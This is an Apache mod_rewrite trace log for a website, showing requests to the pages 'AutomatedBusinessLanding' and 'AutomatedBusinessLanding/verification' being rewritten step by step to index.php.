[Mon Nov 10 18:44:00.964608 2025] [rewrite:trace3] [pid 11494:tid 11504] mod_rewrite.c(505): [client 194.15.36.117:37230] 194.15.36.117 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f383c0cc630/subreq] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:00.964622 2025] [rewrite:trace4] [pid 11494:tid 11504] mod_rewrite.c(505): [client 194.15.36.117:37230] 194.15.36.117 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f383c0cc630/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:00.964636 2025] [rewrite:trace4] [pid 11494:tid 11504] mod_rewrite.c(505): [client 194.15.36.117:37230] 194.15.36.117 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f383c0cc630/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:00.964648 2025] [rewrite:trace4] [pid 11494:tid 11504] mod_rewrite.c(505): [client 194.15.36.117:37230] 194.15.36.117 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f383c0cc630/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:00.964658 2025] [rewrite:trace2] [pid 11494:tid 11504] mod_rewrite.c(505): [client 194.15.36.117:37230] 194.15.36.117 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f383c0cc630/subreq] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding' -> 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:00.964672 2025] [rewrite:trace3] [pid 11494:tid 11504] mod_rewrite.c(505): [client 194.15.36.117:37230] 194.15.36.117 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f383c0cc630/subreq] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:00.964683 2025] [rewrite:trace2] [pid 11494:tid 11504] mod_rewrite.c(505): [client 194.15.36.117:37230] 194.15.36.117 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f383c0cc630/subreq] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:00.964693 2025] [rewrite:trace2] [pid 11494:tid 11504] mod_rewrite.c(505): [client 194.15.36.117:37230] 194.15.36.117 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f383c0cc630/subreq] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> /index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:00.964702 2025] [rewrite:trace1] [pid 11494:tid 11504] mod_rewrite.c(505): [client 194.15.36.117:37230] 194.15.36.117 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f383c0cc630/subreq] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:02.992968 2025] [rewrite:trace3] [pid 11582:tid 11608] mod_rewrite.c(505): [client 194.15.36.117:37234] 194.15.36.117 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f37fc032d00/initial] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:02.993022 2025] [rewrite:trace3] [pid 11582:tid 11608] mod_rewrite.c(505): [client 194.15.36.117:37234] 194.15.36.117 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f37fc032d00/initial] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification -> AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:02.993033 2025] [rewrite:trace3] [pid 11582:tid 11608] mod_rewrite.c(505): [client 194.15.36.117:37234] 194.15.36.117 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f37fc032d00/initial] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:02.993049 2025] [rewrite:trace4] [pid 11582:tid 11608] mod_rewrite.c(505): [client 194.15.36.117:37234] 194.15.36.117 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f37fc032d00/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:02.993067 2025] [rewrite:trace4] [pid 11582:tid 11608] mod_rewrite.c(505): [client 194.15.36.117:37234] 194.15.36.117 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f37fc032d00/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:02.993094 2025] [rewrite:trace4] [pid 11582:tid 11608] mod_rewrite.c(505): [client 194.15.36.117:37234] 194.15.36.117 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f37fc032d00/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:02.993105 2025] [rewrite:trace2] [pid 11582:tid 11608] mod_rewrite.c(505): [client 194.15.36.117:37234] 194.15.36.117 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f37fc032d00/initial] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding/verification' -> 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:02.993116 2025] [rewrite:trace3] [pid 11582:tid 11608] mod_rewrite.c(505): [client 194.15.36.117:37234] 194.15.36.117 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f37fc032d00/initial] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding/verification -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:02.993128 2025] [rewrite:trace2] [pid 11582:tid 11608] mod_rewrite.c(505): [client 194.15.36.117:37234] 194.15.36.117 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f37fc032d00/initial] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:02.993140 2025] [rewrite:trace2] [pid 11582:tid 11608] mod_rewrite.c(505): [client 194.15.36.117:37234] 194.15.36.117 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f37fc032d00/initial] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> /index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:02.993149 2025] [rewrite:trace1] [pid 11582:tid 11608] mod_rewrite.c(505): [client 194.15.36.117:37234] 194.15.36.117 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f37fc032d00/initial] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding/verification [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:02.993260 2025] [rewrite:trace3] [pid 11582:tid 11608] mod_rewrite.c(505): [client 194.15.36.117:37234] 194.15.36.117 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f37fc03c6a0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:02.993276 2025] [rewrite:trace3] [pid 11582:tid 11608] mod_rewrite.c(505): [client 194.15.36.117:37234] 194.15.36.117 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f37fc03c6a0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:02.993286 2025] [rewrite:trace3] [pid 11582:tid 11608] mod_rewrite.c(505): [client 194.15.36.117:37234] 194.15.36.117 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f37fc03c6a0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:02.993304 2025] [rewrite:trace4] [pid 11582:tid 11608] mod_rewrite.c(505): [client 194.15.36.117:37234] 194.15.36.117 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f37fc03c6a0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='index.php/AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:02.993354 2025] [rewrite:trace3] [pid 11582:tid 11608] mod_rewrite.c(505): [client 194.15.36.117:37234] 194.15.36.117 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f37fc03c6a0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:02.993366 2025] [rewrite:trace3] [pid 11582:tid 11608] mod_rewrite.c(505): [client 194.15.36.117:37234] 194.15.36.117 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f37fc03c6a0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:02.993375 2025] [rewrite:trace3] [pid 11582:tid 11608] mod_rewrite.c(505): [client 194.15.36.117:37234] 194.15.36.117 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f37fc03c6a0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:02.993389 2025] [rewrite:trace4] [pid 11582:tid 11608] mod_rewrite.c(505): [client 194.15.36.117:37234] 194.15.36.117 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f37fc03c6a0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='on' pattern='off' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:02.993398 2025] [rewrite:trace1] [pid 11582:tid 11608] mod_rewrite.c(505): [client 194.15.36.117:37234] 194.15.36.117 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f37fc03c6a0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] pass through /home/measureyourbrand/public_html/index.php, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:02.993602 2025] [rewrite:trace3] [pid 11582:tid 11608] mod_rewrite.c(505): [client 194.15.36.117:37234] 194.15.36.117 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38480b2fd0/subreq] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:02.993656 2025] [rewrite:trace3] [pid 11582:tid 11608] mod_rewrite.c(505): [client 194.15.36.117:37234] 194.15.36.117 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38480b2fd0/subreq] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification -> AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:02.993661 2025] [rewrite:trace3] [pid 11582:tid 11608] mod_rewrite.c(505): [client 194.15.36.117:37234] 194.15.36.117 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38480b2fd0/subreq] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:02.993675 2025] [rewrite:trace4] [pid 11582:tid 11608] mod_rewrite.c(505): [client 194.15.36.117:37234] 194.15.36.117 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38480b2fd0/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:02.993675 2025] [rewrite:trace4] [pid 11582:tid 11608] mod_rewrite.c(505): [client 194.15.36.117:37234] 194.15.36.117 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38480b2fd0/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:02.993710 2025] [rewrite:trace4] [pid 11582:tid 11608] mod_rewrite.c(505): [client 194.15.36.117:37234] 194.15.36.117 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38480b2fd0/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:02.993715 2025] [rewrite:trace2] [pid 11582:tid 11608] mod_rewrite.c(505): [client 194.15.36.117:37234] 194.15.36.117 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38480b2fd0/subreq] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding/verification' -> 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:02.993715 2025] [rewrite:trace3] [pid 11582:tid 11608] mod_rewrite.c(505): [client 194.15.36.117:37234] 194.15.36.117 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38480b2fd0/subreq] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding/verification -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:02.993741 2025] [rewrite:trace2] [pid 11582:tid 11608] mod_rewrite.c(505): [client 194.15.36.117:37234] 194.15.36.117 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38480b2fd0/subreq] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:02.993751 2025] [rewrite:trace2] [pid 11582:tid 11608] mod_rewrite.c(505): [client 194.15.36.117:37234] 194.15.36.117 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38480b2fd0/subreq] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> /index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:02.993754 2025] [rewrite:trace1] [pid 11582:tid 11608] mod_rewrite.c(505): [client 194.15.36.117:37234] 194.15.36.117 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38480b2fd0/subreq] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding/verification [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:04.417440 2025] [rewrite:trace3] [pid 11495:tid 11543] mod_rewrite.c(505): [client 185.236.20.142:56304] 185.236.20.142 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3800048310/initial] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:04.417504 2025] [rewrite:trace3] [pid 11495:tid 11543] mod_rewrite.c(505): [client 185.236.20.142:56304] 185.236.20.142 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3800048310/initial] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:04.417540 2025] [rewrite:trace4] [pid 11495:tid 11543] mod_rewrite.c(505): [client 185.236.20.142:56304] 185.236.20.142 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3800048310/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:04.417564 2025] [rewrite:trace4] [pid 11495:tid 11543] mod_rewrite.c(505): [client 185.236.20.142:56304] 185.236.20.142 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3800048310/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:04.417578 2025] [rewrite:trace4] [pid 11495:tid 11543] mod_rewrite.c(505): [client 185.236.20.142:56304] 185.236.20.142 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3800048310/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:04.417587 2025] [rewrite:trace2] [pid 11495:tid 11543] mod_rewrite.c(505): [client 185.236.20.142:56304] 185.236.20.142 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3800048310/initial] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding' -> 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:04.417598 2025] [rewrite:trace3] [pid 11495:tid 11543] mod_rewrite.c(505): [client 185.236.20.142:56304] 185.236.20.142 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3800048310/initial] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:04.417610 2025] [rewrite:trace2] [pid 11495:tid 11543] mod_rewrite.c(505): [client 185.236.20.142:56304] 185.236.20.142 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3800048310/initial] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:04.417621 2025] [rewrite:trace2] [pid 11495:tid 11543] mod_rewrite.c(505): [client 185.236.20.142:56304] 185.236.20.142 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3800048310/initial] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> /index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:04.417631 2025] [rewrite:trace1] [pid 11495:tid 11543] mod_rewrite.c(505): [client 185.236.20.142:56304] 185.236.20.142 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3800048310/initial] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:04.417772 2025] [rewrite:trace3] [pid 11495:tid 11543] mod_rewrite.c(505): [client 185.236.20.142:56304] 185.236.20.142 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3800016620/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:04.417784 2025] [rewrite:trace3] [pid 11495:tid 11543] mod_rewrite.c(505): [client 185.236.20.142:56304] 185.236.20.142 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3800016620/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:04.417799 2025] [rewrite:trace3] [pid 11495:tid 11543] mod_rewrite.c(505): [client 185.236.20.142:56304] 185.236.20.142 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3800016620/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:04.417813 2025] [rewrite:trace4] [pid 11495:tid 11543] mod_rewrite.c(505): [client 185.236.20.142:56304] 185.236.20.142 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3800016620/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='index.php/AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:04.417823 2025] [rewrite:trace3] [pid 11495:tid 11543] mod_rewrite.c(505): [client 185.236.20.142:56304] 185.236.20.142 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3800016620/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:04.417835 2025] [rewrite:trace3] [pid 11495:tid 11543] mod_rewrite.c(505): [client 185.236.20.142:56304] 185.236.20.142 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3800016620/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:04.417856 2025] [rewrite:trace3] [pid 11495:tid 11543] mod_rewrite.c(505): [client 185.236.20.142:56304] 185.236.20.142 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3800016620/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:04.417878 2025] [rewrite:trace4] [pid 11495:tid 11543] mod_rewrite.c(505): [client 185.236.20.142:56304] 185.236.20.142 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3800016620/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='on' pattern='off' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:04.417888 2025] [rewrite:trace1] [pid 11495:tid 11543] mod_rewrite.c(505): [client 185.236.20.142:56304] 185.236.20.142 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f3800016620/initial/redir#1] [perdir /home/measureyourbrand/public_html/] pass through /home/measureyourbrand/public_html/index.php, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:04.418109 2025] [rewrite:trace3] [pid 11495:tid 11543] mod_rewrite.c(505): [client 185.236.20.142:56304] 185.236.20.142 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38000d9580/subreq] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:04.418140 2025] [rewrite:trace3] [pid 11495:tid 11543] mod_rewrite.c(505): [client 185.236.20.142:56304] 185.236.20.142 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38000d9580/subreq] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:04.418154 2025] [rewrite:trace4] [pid 11495:tid 11543] mod_rewrite.c(505): [client 185.236.20.142:56304] 185.236.20.142 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38000d9580/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:04.418165 2025] [rewrite:trace4] [pid 11495:tid 11543] mod_rewrite.c(505): [client 185.236.20.142:56304] 185.236.20.142 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38000d9580/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:04.418177 2025] [rewrite:trace4] [pid 11495:tid 11543] mod_rewrite.c(505): [client 185.236.20.142:56304] 185.236.20.142 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38000d9580/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:04.418187 2025] [rewrite:trace2] [pid 11495:tid 11543] mod_rewrite.c(505): [client 185.236.20.142:56304] 185.236.20.142 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38000d9580/subreq] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding' -> 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:04.418196 2025] [rewrite:trace3] [pid 11495:tid 11543] mod_rewrite.c(505): [client 185.236.20.142:56304] 185.236.20.142 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38000d9580/subreq] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:04.418205 2025] [rewrite:trace2] [pid 11495:tid 11543] mod_rewrite.c(505): [client 185.236.20.142:56304] 185.236.20.142 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38000d9580/subreq] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:04.418215 2025] [rewrite:trace2] [pid 11495:tid 11543] mod_rewrite.c(505): [client 185.236.20.142:56304] 185.236.20.142 - - [measureyourbrand.com.au/sid#2292f3e8][rid#7f38000d9580/subreq] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> /index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
